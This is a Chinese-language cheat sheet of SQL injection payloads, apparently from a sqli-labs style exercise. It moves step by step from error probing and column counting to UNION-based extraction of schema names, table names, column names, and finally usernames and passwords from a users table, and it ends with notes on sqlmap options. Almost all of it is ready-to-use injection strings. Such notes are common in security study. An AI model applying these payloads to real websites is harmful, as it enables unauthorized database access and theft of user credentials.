\ ' " 看一看是否报错 SELECT * FROM users WHERE id='1\' LIMIT 0,1; SELECT * FROM users WHERE id='-1'or 1;#' LIMIT 0,1;
-1'or 1;%23' LIMIT 0,1;
-1'or 1;# -1'or 1;$23 -1'or 1;--+
2 判断字段
SELECT * FROM users WHERE id='1'order by 4;#' LIMIT 0,1; SELECT * FROM users WHERE id='1'order by 3;#' LIMIT 0,1; 1'order by 4;%23 1'order by 3;%23
3爆库
-1'or 1;%23 1' union select 1,2,3;%23
SELECT * FROM users WHERE id='-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;#' LIMIT 0,1;
1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;%23
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;--+
4爆表
SELECT * FROM users WHERE id='-1' union select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database() #' LIMIT 0,1;
-1' union select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database() # @emails,@referers,@uagents,@users
-1' union select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database() %23
5爆字段
SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"#' LIMIT 0,1;
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"
id,username,password
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"%23
6爆数据
SELECT * FROM users WHERE id='-1' union select 1,group_concat("@",id,username,"~",password,"#"),3 from users #' LIMIT 0,1;
-1' union select 1,group_concat("@",id,username,"~",password,"#"),3 from users #
-1' union select 1,group_concat("@",id,username,"~",password,"*"),3 from users %23
sqlmap使用
基础使用：
-p参数只对指定的参数进行注入，在上述命令中指定了对username参数进行注入 -p username -v：显示详细的信息，有1-6级，默认为1 -f参数查看指纹信息 --technique 看情况选 B : 基于Boolean的盲注（Boolean based blind） Q : 内联查询（Inline queries） T : 基于时间的盲注（time based blind） U : 基于联合查询（Union query based） E : 基于错误（error based） S : 栈查询（stack queries） --technique 看情况选
